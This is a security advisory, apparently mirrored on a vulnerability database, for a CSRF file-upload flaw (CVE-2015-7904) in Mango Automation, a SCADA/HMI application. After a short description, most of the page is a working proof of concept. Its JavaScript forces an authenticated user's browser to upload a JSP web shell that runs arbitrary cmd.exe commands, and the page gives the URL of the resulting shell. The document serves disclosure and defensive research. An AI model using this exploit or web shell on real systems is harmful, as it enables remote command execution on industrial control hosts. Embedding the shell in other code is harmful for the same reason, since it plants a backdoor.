Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution

🗓️ 26 Sep 2015 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 84 Views

Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution advisor

Reporter	Title	Published	Views	Family All 8
ATTACKERKB	CVE-2015-7904	28 Oct 201510:59	–	attackerkb
CNVD	Infinite Automation Mango Automation File Upload Vulnerability	30 Oct 201500:00	–	cnvd
CVE	CVE-2015-7904	28 Oct 201510:00	–	cve
Cvelist	CVE-2015-7904	28 Oct 201510:00	–	cvelist
EUVD	EUVD-2015-7802	7 Oct 202500:30	–	euvd
ICS	Infinite Automation Systems Mango Automation Vulnerabilities (Update A)	30 Jul 201506:00	–	ics
NVD	CVE-2015-7904	28 Oct 201510:59	–	nvd
Prion	Unrestricted file upload	28 Oct 201510:59	–	prion

<html><body><p>Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution


Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)

Summary: Mango Automation is a flexible SCADA, HMI And Automation software application that allows you
to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.

Desc: Mango suffers from an authenticated arbitrary JSP code execution. The vulnerability is caused due
to the improper verification of uploaded image files in 'graphicalViewsBackgroundUpload' script via the
'backgroundImage' POST parameter which allows of arbitrary files being uploaded in '/modules/graphicalViews/web/graphicalViewUploads/'.
This can be exploited to execute arbitrary JSP code by uploading a malicious JSP script file that will be
stored as a sequence number depending on how many files were uploaded (1.jsp or 2.jsp or 3.jsp .. n.jsp).

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
           Jetty(9.2.2.v20140723)
           Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
           Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5262
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5262.php


20.08.2015

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  </p>
<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:8080/graphicalViewsBackgroundUpload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryb8cxmjBwpzDcHUVI");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryb8cxmjBwpzDcHUVI\r\n" + 
          "Content-Disposition: form-data; name=\"backgroundImage\"; filename=\"cmd.jsp\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3c%@ page import=\"java.util.*,java.io.*,java.net.*\"%\x3e\r\n" + 
          "\x3cHTML\x3e\x3cBODY\x3e\r\n" + 
          "\x3cFORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\"\x3e\r\n" + 
          "\x3cINPUT TYPE=\"text\" NAME=\"cmd\"\x3e\r\n" + 
          "\x3cINPUT TYPE=\"submit\" VALUE=\"Send\"\x3e\r\n" + 
          "\x3c/FORM\x3e\r\n" + 
          "\x3cpre\x3e\r\n" + 
          "\x3c%\r\n" + 
          "if (request.getParameter(\"cmd\") != null) {\r\n" + 
          "        out.println(\"Command: \" + request.getParameter(\"cmd\") + \"\\n\x3cBR\x3e\");\r\n" + 
          "        Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParameter(\"cmd\"));\r\n" + 
          "        OutputStream os = p.getOutputStream();\r\n" + 
          "        InputStream in = p.getInputStream();\r\n" + 
          "        DataInputStream dis = new DataInputStream(in);\r\n" + 
          "        String disr = dis.readLine();\r\n" + 
          "        while ( disr != null ) {\r\n" + 
          "                out.println(disr); disr = dis.readLine(); }\r\n" + 
          "        }\r\n" + 
          "%\x3e\r\n" + 
          "\x3c/pre\x3e\r\n" + 
          "\x3c/BODY\x3e\x3c/HTML\x3e\r\n" + 
          "------WebKitFormBoundaryb8cxmjBwpzDcHUVI--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
<form action="#">
<input onclick="submitRequest();" type="button" value="Submit request"/>
</form>
  



Webshell: http://localhost:8080/modules/graphicalViews/web/graphicalViewUploads/17.jsp
</body></html>

26 Sep 2015 00:00Current

6.2Medium risk

Vulners AI Score6.2

CVSS 26.5

EPSS0.06486